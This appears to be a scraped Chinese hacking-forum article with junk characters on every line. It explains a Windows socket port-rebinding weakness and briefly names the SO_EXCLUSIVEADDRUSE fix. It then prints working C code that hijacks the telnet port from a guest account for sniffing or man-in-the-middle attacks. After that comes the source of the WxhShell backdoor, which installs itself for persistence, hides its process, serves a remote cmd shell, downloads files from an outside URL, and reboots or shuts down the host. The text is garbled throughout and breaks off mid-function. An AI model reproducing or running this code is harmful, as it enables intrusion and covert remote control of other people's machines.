在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;uazQyo6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%95'oW)lo |,wp@)e6h saddr.sin_family = AF_INET;
vHz]-Q-|9 m+m,0Ey5H saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8Qg,UX )|@ H#kv? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[# '38 0u'qu2mV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+Eh^j3W [Nn ?:5" 这意味着什么?意味着可以进行如下的攻击:
@Ja8~5 : VY9|8g/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
u< ,c Q/,jv5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_@47h86Q $"/xi ` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4mY(* 2:HC k'K&GF1B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S^Z[w|1 0`
{6~p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!L#>wlX) 1*"t-+| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
DGwN*>X rK\) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
domaD"C =a<};X #include
<6s?M1J #include
M=hH:[6 & #include
>7VOytc #include
uWYI p\NN DWORD WINAPI ClientThread(LPVOID lpParam);
<?UIux int main()
KnC;j-j {
/@<Pn&Rq WORD wVersionRequested;
z3 lZ3 DWORD ret;
u@j]U|FpY WSADATA wsaData;
;D}8acQ BOOL val;
~*OQRl6F SOCKADDR_IN saddr;
$#3O:aW SOCKADDR_IN scaddr;
E8_j?X1 int err;
P9Yee!*H SOCKET s;
q]%eLfC( SOCKET sc;
sw<mmayN int caddsize;
@>>8CU^~ HANDLE mt;
7jss3^.wA DWORD tid;
F];"d0O#5 wVersionRequested = MAKEWORD( 2, 2 );
>?-etl err = WSAStartup( wVersionRequested, &wsaData );
c1!0Z28 if ( err != 0 ) {
:@mBSE/ printf("error!WSAStartup failed!\n");
J7Z`wjX1 return -1;
yQAW\0` }
:{:R5d(_I saddr.sin_family = AF_INET;
0;Lt F8u;C:^d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'o D31\@I W9i}w& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e"^ /xF saddr.sin_port = htons(23);
g+g0iS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
( (.b& {
YkOl@l$D printf("error!socket failed!\n");
GyirE` return -1;
Y^ Of }
`^:>sU val = TRUE;
g8=j{]~C //SO_REUSEADDR选项就是可以实现端口重绑定的
]2:w?+T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(8JL/S;Z$ {
g 0Rny printf("error!setsockopt failed!\n");
NOC8h\s}( return -1;
p"%K(NL }
caG5S#8-" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
, %8keGhl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}MUQO<=* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
T^z j{8;5 ?x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/Bt+Ov3k {
)JNUfauyT ret=GetLastError();
71S~*"O0f printf("error!bind failed!\n");
|:H
9#= return -1;
o\TXWqt }
A7`+XqG listen(s,2);
'P AIh*qA while(1)
`, lnBP3D" {
)9pRT
dT caddsize = sizeof(scaddr);
9$
VudE>; //接受连接请求
V4["+Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Quq
X4 if(sc!=INVALID_SOCKET)
Oax6_kmOj {
!7rk>YrY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K~chOX if(mt==NULL)
5WlBec@ {
3rxB]- printf("Thread Creat Failed!\n");
@K=:f break;
9Sb[5_Q }
GLBzlZ? }
Zra P\ ? CloseHandle(mt);
5~R1KjjvA }
8wf[*6VwV closesocket(s);
3D}rxI8N WSACleanup();
S5+W<Qs return 0;
@cS(Bb!(M }
e{Y8m Xu DWORD WINAPI ClientThread(LPVOID lpParam)
:aO`q/d {
{ Mv$~T|e7 SOCKET ss = (SOCKET)lpParam;
LykB2]T SOCKET sc;
6)]zt unsigned char buf[4096];
nb30<h SOCKADDR_IN saddr;
+Oafo|% long num;
nOm-Yb+F DWORD val;
W2w A66MB DWORD ret;
eZ
G#op //如果是隐藏端口应用的话,可以在此处加一些判断
/5wIbmz@I //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Zk+c9, q saddr.sin_family = AF_INET;
EyDH-}Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ivx]DXR| saddr.sin_port = htons(23);
}8LTYn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xbNL <3"a {
4/N{~ printf("error!socket failed!\n");
">M:6\B return -1;
/D>G4PP< }
WbwS!F<au val = 100;
VBN=xg} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6k6}SlN[ {
4(%LG)a4S ret = GetLastError();
&~&oB;uR return -1;
A|`mIma# }
Koi-b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`L
m9!? {
,Zva^5 ret = GetLastError();
vo"?a~kY7 return -1;
]j+J^g }
oIv\Xdc8 1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
jmJeu@( {
DmiZ"A printf("error!socket connect failed!\n");
~N]pB]/][ closesocket(sc);
}G ^nK m closesocket(ss);
>* h3u7t return -1;
r:U/a=V }
W}P9I&3 while(1)
miB+'n"zS {
XR+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0]Qk *u< //如果是嗅探内容的话,可以再此处进行内容分析和记录
A(D3wctdr //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,DD}o num = recv(ss,buf,4096,0);
t8f:?
if(num>0)
` 1vDp. send(sc,buf,num,0);
"Ky&x$dje else if(num==0)
<"@5. f1"Y break;
^ pNA_s!S num = recv(sc,buf,4096,0);
Zq{TY)PI] if(num>0)
H+5S )r send(ss,buf,num,0);
gv7@4G else if(num==0)
xp
F(de break;
jk{m8YP)E }
`4-m$ab closesocket(ss);
nP+jkNn3 closesocket(sc);
6T6UIq return 0 ;
X}Fqif4A }
qZ%0p*P#_ OU[ FiW-E *YP:- ==========================================================
I_is3y0 IweNe`Z 下边附上一个代码,,WXhSHELL
+R',$YzD T:3}W0s, ==========================================================
"""pe+Y kZ'wXtBYe #include "stdafx.h"
NEt_UcC scPvuHzl #include <stdio.h>
[tkP2%1 #include <string.h>
5Un)d<!7&u #include <windows.h>
y3ST0=>j} #include <winsock2.h>
+J3Y}A4W3X #include <winsvc.h>
bO+e?&vQ% #include <urlmon.h>
1IN^,A]r2h TTJj=KPA #pragma comment (lib, "Ws2_32.lib")
7!JBF{,= #pragma comment (lib, "urlmon.lib")
LJOJ2x j/uzsu+ #define MAX_USER 100 // 最大客户端连接数
f@ .s(i=z #define BUF_SOCK 200 // sock buffer
x\!vr. #define KEY_BUFF 255 // 输入 buffer
EMf"rGXu( p:xVi0 #define REBOOT 0 // 重启
Mo] #define SHUTDOWN 1 // 关机
YJ>P+e\o9 Bp/25jy #define DEF_PORT 5000 // 监听端口
$s,(-C 6SEq 2 #define REG_LEN 16 // 注册表键长度
OE2r2ad #define SVC_LEN 80 // NT服务名长度
[_HOD^ rSKZc`<^ // 从dll定义API
~8Ez K_c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<[V1z=Eo/] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v\R-G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V1\Rj0#G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
c3J12+~; sV`p3L8pl // wxhshell配置信息
G"U^]$(+K struct WSCFG {
4S*dNYc int ws_port; // 监听端口
Q1P=A:*]9 char ws_passstr[REG_LEN]; // 口令
w~>tpkUB int ws_autoins; // 安装标记, 1=yes 0=no
lbC9^~T+ char ws_regname[REG_LEN]; // 注册表键名
:_pn| char ws_svcname[REG_LEN]; // 服务名
7%5EBH & char ws_svcdisp[SVC_LEN]; // 服务显示名
j"n"=rTTQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
BO'7c1FU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
z)%]#QO int ws_downexe; // 下载执行标记, 1=yes 0=no
Amv:dh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Jm,tN/o* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9
OZXs2~x N]&:xd5 };
?cB26Zrcb qb+Gjgp // default Wxhshell configuration
TiD|.a8S struct WSCFG wscfg={DEF_PORT,
!_>o2 "xuhuanlingzhe",
`W2
o~r*& 1,
4oN*J +"=+ "Wxhshell",
f}7/UGd "Wxhshell",
CM;B{*En "WxhShell Service",
Ym
1; /' "Wrsky Windows CmdShell Service",
/#!1 "Please Input Your Password: ",
t"X^|!hKIF 1,
(PSL[P "
http://www.wrsky.com/wxhshell.exe",
15M!erT "Wxhshell.exe"
Uac.8wQh };
1'b}Y8YO NB3ar&.$S // 消息定义模块
O T .bXr~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)jm!^m char *msg_ws_prompt="\n\r? for help\n\r#>";
6Tsi^((Li char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d?N[bA
char *msg_ws_ext="\n\rExit.";
"-g5$v$de char *msg_ws_end="\n\rQuit.";
@Wa, char *msg_ws_boot="\n\rReboot...";
<J-.,: char *msg_ws_poff="\n\rShutdown...";
$j/#IzD1D char *msg_ws_down="\n\rSave to ";
(BIg =jvL2ps< char *msg_ws_err="\n\rErr!";
|J:m{ char *msg_ws_ok="\n\rOK!";
S>y}|MG /hAy1V6 char ExeFile[MAX_PATH];
{}"a_L&[; int nUser = 0;
VbX$\Cs: HANDLE handles[MAX_USER];
lA n^)EL int OsIsNt;
0Z
jE(3i a"phwCc"% SERVICE_STATUS serviceStatus;
fwv.^kx SERVICE_STATUS_HANDLE hServiceStatusHandle;
E51S#T .7> g8 // 函数声明
\ \g Aa-}: int Install(void);
=h[;'v{ int Uninstall(void);
/~pB_l int DownloadFile(char *sURL, SOCKET wsh);
'SKq<X%R; int Boot(int flag);
(/A
6kp? void HideProc(void);
ksF4m_E>YB int GetOsVer(void);
F{laA YE int Wxhshell(SOCKET wsl);
o_cAelI[! void TalkWithClient(void *cs);
Vw5Pgt x int CmdShell(SOCKET sock);
-gpHg int StartFromService(void);
UD^=@?^7 int StartWxhshell(LPSTR lpCmdLine);
%S<))G m.c2y6<= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Wt!8.d}= VOID WINAPI NTServiceHandler( DWORD fdwControl );
v-}B
T+ U,Th-oU // 数据结构和表定义
]Ryg}DOQ SERVICE_TABLE_ENTRY DispatchTable[] =
RSIhZYA {
`Wp y6o {wscfg.ws_svcname, NTServiceMain},
L6J.^tpO {NULL, NULL}
0[Z wtfL1 };
Aq_?8 Cd !jRs5{n^Ol // 自我安装
!XO"lS int Install(void)
GP_%.fO\M {
ai;- _M+$ char svExeFile[MAX_PATH];
nk2H^RM^ HKEY key;
V@\A<q%jTs strcpy(svExeFile,ExeFile);
l|fb;Giq=D o(g}eP,g} // 如果是win9x系统,修改注册表设为自启动
ltOsl-OpR if(!OsIsNt) {
bP7_QYQ6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y
9@
2d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XRXQ
7\n RegCloseKey(key);
wQ '_, d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
N`+@_.iBX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q=;U(,Y RegCloseKey(key);
TCK<IZKLqK return 0;
z W*Z }
n(j5dN>] }
L+.-aB2!d }
!uAqY\Is else {
BP8jReX^ GyGF<%nq // 如果是NT以上系统,安装为系统服务
4*?i!<N9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2xt$w% if (schSCManager!=0)
h{?cs%lZ {
MR.c?P?0Q SC_HANDLE schService = CreateService
#*
Iyvx (
&@z
M<A schSCManager,
@}hdMVi wscfg.ws_svcname,
[wM]w wscfg.ws_svcdisp,
Jf@~/!m}' SERVICE_ALL_ACCESS,
InB'Ag" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7xCm"jgP SERVICE_AUTO_START,
cR!Mn$m SERVICE_ERROR_NORMAL,
Kk 6i svExeFile,
@^,9O92l NULL,
U2*kuP+n NULL,
Df=Xbf>jt9 NULL,
$zJ!L NULL,
;f9a0V s NULL
$mut v=IO );
FXFyF*w2 if (schService!=0)
b:W
x[+ {
AQgm]ex< CloseServiceHandle(schService);
4[
=C,5r CloseServiceHandle(schSCManager);
O.$OLK;v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!">EZX strcat(svExeFile,wscfg.ws_svcname);
vec4R )S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kB]*2o9-3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
UUqA^yJ RegCloseKey(key);
6U%F
mE @ return 0;
Sj@VOW }
rz.`$ }
DcmRvi)&6 CloseServiceHandle(schSCManager);
xs$.EY:k }
jDCf]NvOPM }
x1`zD*{ {1[f9uPS return 1;
!'8jy_<9 }
\>c1Z5H> a`8svo;VUO // 自我卸载
iB3C.wd- int Uninstall(void)
%(izKJl q {
?T_bjALW HKEY key;
`2@f=$B |snWO0iF if(!OsIsNt) {
c->?'h23) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&-p!Lg&D RegDeleteValue(key,wscfg.ws_regname);
* a@78&N RegCloseKey(key);
|jyD@Q,4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ew*;mQd RegDeleteValue(key,wscfg.ws_regname);
Dj x[3[' RegCloseKey(key);
T,5(JP(h3 return 0;
qWb 8" }
Jp +h''t }
C &&33L }
?<D1]Xv else {
s|-g) Tu-I".d+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
$QJ,V~ if (schSCManager!=0)
~uh,R-Q$ {
<gx"p#JbZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vz`r
!xj) if (schService!=0)
JVh/<A {
>(eR0.x if(DeleteService(schService)!=0) {
1L<X+,]@ CloseServiceHandle(schService);
Zie t-@} CloseServiceHandle(schSCManager);
iS}~e{TP/ return 0;
SOQR(UT }
7` IO mTk CloseServiceHandle(schService);
!E9A=u{ }
A:,R.P>`C CloseServiceHandle(schSCManager);
95oh}c }
QS2~}{v }
@rxfOc0J# uG7ll5Yy return 1;
'cvc\=p }
.$s=E8fW f<P>IE // 从指定url下载文件
0A.9<&Lod int DownloadFile(char *sURL, SOCKET wsh)
l5,}yTUta {
?Fj>7 HRESULT hr;
CB>O%m[1 char seps[]= "/";
JU RJN+)z char *token;
GM>Ms!Y char *file;
z)&GF$* char myURL[MAX_PATH];
h/\/dp/tt char myFILE[MAX_PATH];
6%2\bI.# BZ>,Qh!J strcpy(myURL,sURL);
y2NVx!?n token=strtok(myURL,seps);
K 6HH_T while(token!=NULL)
k{B;J\`E; {
+B-;.]L
T file=token;
R9O[`~BA2 token=strtok(NULL,seps);
* 2s(TW }
!UW{xHu hYv;*] GetCurrentDirectory(MAX_PATH,myFILE);
.GNl31f0 strcat(myFILE, "\\");
iJ 8I#
j+N strcat(myFILE, file);
iXFN|ml send(wsh,myFILE,strlen(myFILE),0);
D-4\AzIb send(wsh,"...",3,0);
h?`'%m?_b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5sK1rDN if(hr==S_OK)
#J)83 return 0;
EJZb3 else
d@,3P)? return 1;
BSbi.@@tp T^n0 =| }
Jb"0P`senY F~${L+^ // 系统电源模块
gCc::[}\Y int Boot(int flag)
%)@3V8 OI {
3QO*1P@q HANDLE hToken;
@8s:,Y_ TOKEN_PRIVILEGES tkp;
SYmiDR Uv"O'Z if(OsIsNt) {
C'Z6l^{> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$7JWA9#N! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!$|h[ct tkp.PrivilegeCount = 1;
t+`>zux5(T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
hhynB^o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qGPIKu if(flag==REBOOT) {
g_F-PT>($ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
wUBug return 0;
h`:f }
3D/<R|p else {
C.}Vm};M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o?\v
8.n return 0;
M<"H1>q@ }
lf%Ju$H
}
Fi*j}4F1 else {
C~#ndl
Ij if(flag==REBOOT) {
7o5~J)qIC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x9{&rldC return 0;
sLh %k }
-32?]LN}
else {
fPLi8`r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v<wR`7xG return 0;
(fJ.o-LQ }
rAZsVnk? }
?}g#Mc ,V}Vxq3 return 1;
'E#;`}&Ah }
t9yjfyk9W :0)nL // win9x进程隐藏模块
uk)6% void HideProc(void)
vx&jI$t8 {
+zup+=0e g9$P J: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+S3r]D3v/ if ( hKernel != NULL )
3S_H hvB {
YPY'[j(p`n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
bBC!fh!L" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BDCFToSf| FreeLibrary(hKernel);
IhYTK%^96 }
-P5M(Rt S@'yuAe*G return;
Q|`sYm'. }
E5y\t_H (i*;V0 // 获取操作系统版本
jdF~0#vH int GetOsVer(void)
u(`,7 o " {
VP<_~OLc OSVERSIONINFO winfo;
;.g <u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
AX= 4{b' GetVersionEx(&winfo);
x$'0}vnT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
o/U"'FP return 1;
5yhfCe m| else
N))G/m3 return 0;
YdI&OzaroE }
l"-F<^
U z'FJx2 // 客户端句柄模块
6*:mc int Wxhshell(SOCKET wsl)
N){/#3 {
/4f4H?A - SOCKET wsh;
*A,h^ struct sockaddr_in client;
q ["T6 DWORD myID;
'Wn2+pd !VfP#B6. while(nUser<MAX_USER)
#(5hV7i {
{J}Zv5 int nSize=sizeof(client);
9z:P#=Q: wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
h xCt[G@ if(wsh==INVALID_SOCKET) return 1;
{'QA0K -Xw i}/OX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5V^+;eO if(handles[nUser]==0)
TZ]D6.mD closesocket(wsh);
-]?F else
;DkX"X+ nUser++;
>$.lM~k }
>c~Fgs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(RL5L=,u ~S],)E1w return 0;
3r)<:4a
u& }
]y3'6! ?G#T6$E8 // 关闭 socket
5Z`9L|3d void CloseIt(SOCKET wsh)
F`3J=AJOJ {
^E5[~C*o3 closesocket(wsh);
},2mIit( nUser--;
;34 m!\N5 ExitThread(0);
f/r@9\x }
k lRS:\dW Wa8?o~0"L // 客户端请求句柄
8?L7h\)- void TalkWithClient(void *cs)
6+MZ39xC {
oWZbfR9R !Ol>![ SOCKET wsh=(SOCKET)cs;
%D(%
lh2 char pwd[SVC_LEN];
J&xH"U char cmd[KEY_BUFF];
H!D?;X char chr[1];
pN[G?A int i,j;
Zz\e:/
6QCU:2IiL while (nUser < MAX_USER) {
LM*#DLadk |kHPk)}I] if(wscfg.ws_passstr) {
p~T)Af<(
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ol,Tw=? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;_yp@.,\T //ZeroMemory(pwd,KEY_BUFF);
g|W|>`> i=0;
Lh%>>
Ht{ while(i<SVC_LEN) {
; 7`y## xwwy9:ze*l // 设置超时
qL6Rs fd_set FdRead;
Ie#LZti struct timeval TimeOut;
?lh
`>v FD_ZERO(&FdRead);
Zhl}X!:c?\ FD_SET(wsh,&FdRead);
,= ;d<O8 TimeOut.tv_sec=8;
,FvBZ.4c3= TimeOut.tv_usec=0;
MCOz-8@|Y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!BN7 B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
cO,ELu : QK )Ym if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,[To)x5o pwd
=chr[0]; HWFI6N
if(chr[0]==0xd || chr[0]==0xa) { ]j.??'+rg
pwd=0; C F2*W).+
break; p}qNw`
} o}XbFLn
i++; w l.#{@J]<
} RO-ABFEi(
P
+U=/$o
// 如果是非法用户,关闭 socket ORPQ1%tu
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6vVx>hFJ47
} H7 acT
$a|DR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nRpZ;X)'.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lW! U:
\de824
while(1) { *R17 KMS
o#X|4bES
ZeroMemory(cmd,KEY_BUFF); 4%Q8>mEvT
Xg|_
// 自动支持客户端 telnet标准 8iTX}$t\{
j=0; P
0xInW F
while(j<KEY_BUFF) { :IFTiq5a;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =W1`FbR
cmd[j]=chr[0]; M6E.!Cs
if(chr[0]==0xa || chr[0]==0xd) { AP=mj
cmd[j]=0; Xp<RGp7E
break; 38IVSK_
} c?i=6CdD'
j++; 5b9v`6Kq
} r40#-A$
.aWEXJ
// 下载文件 k>
I;mEV
if(strstr(cmd,"http://")) { K'[H`x^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j%R}
if(DownloadFile(cmd,wsh)) " &B/v"nj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q^],K'
else ^7C?yC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pqPhtWi%PJ
} unqX<6hu
else { Gd$odKtI
AY['!&T
switch(cmd[0]) { )>q.!"B
3 }Z[d
// 帮助 /g3U,?qP
case '?': { ?C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *V(TNLIh;
break; JF]HkH_u
} T69'ta32V
// 安装 mc_`:I=
case 'i': { 4CO:*qG)o
if(Install()) [nBlHI;&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kK nz
F
else SesJg~8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0IoS|P}6a
break; xe[Cuy$P
} kBd #=J
// 卸载 `i0RLGze
case 'r': { v|~ yIywf
if(Uninstall()) 6R% I)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CN0&uyu#4
else yjZxD[
Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^hFs7je)
break; 1lu_<?O
} @qH{;
// 显示 wxhshell 所在路径 Kl~jcq&z
case 'p': { .Rxz;-VA
char svExeFile[MAX_PATH]; SLRQ3<0W_
strcpy(svExeFile,"\n\r"); 31-%IkX+k
strcat(svExeFile,ExeFile); h0`@yo
send(wsh,svExeFile,strlen(svExeFile),0); Jla ;^X
break; vsg"!y@v
} *,!6#Z7
// 重启 /m%Y.:g
case 'b': { 'VCF{0{H~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MnUal}MO
if(Boot(REBOOT)) g!5`R`7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)3g!3S
else { g9I2 e<;o
closesocket(wsh); H
`Fe|6I&
ExitThread(0); RVtb0FL
} fLl~a[(5
break; 7u-o7#,X2
} S{aK\>>H
// 关机 `yJpDGh
case 'd': { ~=i9]%g?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iqURlI);P
if(Boot(SHUTDOWN)) hkeOe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\afO
else { 2ku\R7
closesocket(wsh); GGsDR%U
ExitThread(0); uqPagt<
} a=\r~Z7E
break; $5T3JOFz
} Qc-jOl
// 获取shell sI/Jhw)
case 's': { Hzh?w!Ow
CmdShell(wsh); }6MHIr=o
closesocket(wsh); BXyg ?
ExitThread(0); .4pWyqU)!
break; _oxhS!.*
} H->J.5~,K
// 退出 6VpT*,2d~
case 'x': { 8C3oj
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XqMJe'%r
CloseIt(wsh); OD
09XO
break; G4][`C]8c
} oF[l<OY4
// 离开 :it52*3=
case 'q': { 1*<m,.$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Kn{x!,"(
closesocket(wsh); OI</o0Ca
WSACleanup(); S,,,D+4
exit(1); Xl^=&!S>me
break; :G\f(2@
} qV2aa9p+
} cXu"-/
} uQgv ;jsPz
qg6283'?
// 提示信息 'B0=
"7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ibo{!>m
} ~LqjWU
} s
8O"U%
CU'$JF
return; X;/~d>@
} >sk vg
jA9&hbQuL
// shell模块句柄 H|&[,&M>
int CmdShell(SOCKET sock) seO7/h_a
{ x%HX0= (
STARTUPINFO si; 2Ur9*#~kGp
ZeroMemory(&si,sizeof(si)); {1a%CsCM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SJ4[n.tPI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I\eM8`Y$
PROCESS_INFORMATION ProcessInfo; T;jy2|mLo
char cmdline[]="cmd"; HX\^ecZ#E
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bo.< 4P
return 0; stn/
} ? I7}4i7
k$j4~C'$
// 自身启动模式 K]5@bm
int StartFromService(void) CHxu%-g
{ M:&g5y&
typedef struct S+aXlb
{ T \d-r#{
DWORD ExitStatus; l0hcNEj{W
DWORD PebBaseAddress; PX7@3Y
DWORD AffinityMask; h0i/ v
DWORD BasePriority; PL*Mz(&bf
ULONG UniqueProcessId; F\LAw#IJ
ULONG InheritedFromUniqueProcessId; prJ]uH,
